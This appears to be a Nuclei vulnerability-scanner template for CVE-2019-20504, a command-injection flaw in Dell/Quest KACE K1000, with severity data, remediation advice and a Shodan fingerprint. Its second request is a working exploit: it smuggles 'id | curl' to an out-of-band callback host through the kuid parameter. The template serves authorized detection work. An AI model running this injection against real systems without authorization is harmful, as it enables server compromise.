Dell KACE Systems Management Appliance (K1000) 6.4.120756 - Remote Code Execution

id: CVE-2019-20504

info:
  name: Dell KACE Systems Management Appliance (K1000) 6.4.120756 - Remote Code Execution
  author: DhiyaneshDk
  severity: critical
  description: |
    service/krashrpt.php in Quest KACE K1000 Systems Management Appliance before 6.4 SP3 (6.4.120822) allows a remote attacker to execute code via shell metacharacters in the kuid parameter.
  impact: |
    Unauthenticated attackers can execute arbitrary system commands via shell metacharacters, leading to complete server compromise and access to all managed systems.
  remediation: |
    Upgrade to KACE K1000 version 6.4 SP3 (6.4.120822) or later.
  reference:
    - https://www.exploit-db.com/exploits/46684
    - https://www.rcesecurity.com/2019/04/dell-kace-k1000-remote-code-execution-the-story-of-bug-k1-18652/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-20504
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-20504
    cwe-id: CWE-78
    epss-score: 0.0955
    epss-percentile: 0.94869
    cpe: cpe:2.3:a:quest:kace_systems_management:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: quest
    product: kace_systems_management
    shodan-query: html:"K1000 Logo"
  tags: cve,cve2019,k1000,kace,rce,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "K1000")'
        internal: true

  - raw:
      - |
        POST /service/krashrpt.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        kuid=id | curl http://{{interactsh-url}}

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"
# digest: 4a0a00473045022100cf08776158004f46d41523eaa18cd82ee3e13885ff759bf7fbbd93714561243202202bfc052d6532bc72cb1144b48ce8f9456bf5ba3a6fc6ef84f032b63353e6600d:922c64590222798bb761d5b6d8e72950